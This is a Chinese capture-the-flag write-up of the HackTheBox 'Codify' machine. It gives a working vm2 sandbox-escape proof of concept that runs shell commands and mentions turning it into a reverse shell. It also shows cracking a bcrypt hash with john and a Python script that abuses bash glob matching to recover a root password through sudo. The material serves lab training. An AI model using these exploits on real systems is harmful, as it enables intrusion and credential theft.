[渗透测试学习] Codify - HackTheBox

2023-12-15 22:35:12

首先nmap扫描端口

nmap -sV -sC -p- -v --min-rate 1000 10.10.11.239

在这里插入图片描述
扫出来三个端口,22端口为ssh服务,80端口有http服务,3000端口为nodejs框架
尝试访问下80端口,发现页面重定向
在这里插入图片描述将该域名添加到hosts里

sudo vim /etc/hosts 

成功访问
在这里插入图片描述发现提供的代码编辑器是vm2沙箱,搜了下相关文章发现存在漏洞
在这里插入图片描述poc如下(参考链接

const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`
console.log(vm.run(code));

成功命令执行
在这里插入图片描述
修改一下,直接反弹shell
在这里插入图片描述我们查看下用户信息

cat /etc/passwd

在这里插入图片描述
当前用户svc,那么我们可以利用的应该就是joshua
我们在/var/www/contact目录下发现个文件tickets.db
在这里插入图片描述
我们用strings命令看一下
得到信息为sqlite数据库,还有用户joshua的密码哈希值
在这里插入图片描述用hashid看下是什么加密,发现是bcrypt
在这里插入图片描述那么使用工具john的参数–format去爆破

john --format=bcrypt -w=/usr/share/wordlists/rockyou.txt hash.txt

得到密码

在这里插入图片描述然后切换下用户joshua
在这里插入图片描述提升交互权限,得到user的flag
在这里插入图片描述
查看下有什么可以利用的命令

sudo -l

在这里插入图片描述
strings命令查看下具体内容
在这里插入图片描述
我们看向关键代码

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
	else
        /usr/bin/echo "Password confirmation failed!"
        exit 1

靶机会将我们提交的密码与数据库的密码进行比对,比对成功与否对应不同回显,关键点在于比对是弱等于,也就是说这里的漏洞是由于 Bash 中 [[ ]]内部使用了 == ,它执行模式匹配而不是直接字符串比较。这意味着用户输入 (USER_PASS) 被视为一种模式,如果它包含像 * 或 ? 这样的全局字符,它可能会匹配意外的字符串。
直接盲注,脚本如下

import string  
import subprocess  
all = list(string.ascii_letters + string.digits)  
password = ""  
found = False  
  
while not found:  
    for character in all:  
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"  
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout  
  
        if "Password confirmed!" in output:  
            password += character  
            print(password)  
            break  
    else:  
        found = True

# password = kljh12k3jhaskjh12kjh3

用scp命令复制到靶机
在这里插入图片描述
成功上传
在这里插入图片描述运行一下得到root密码
在这里插入图片描述

切换成root得到flag
在这里插入图片描述

文章来源:https://blog.csdn.net/m0_73512445/article/details/135021020
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。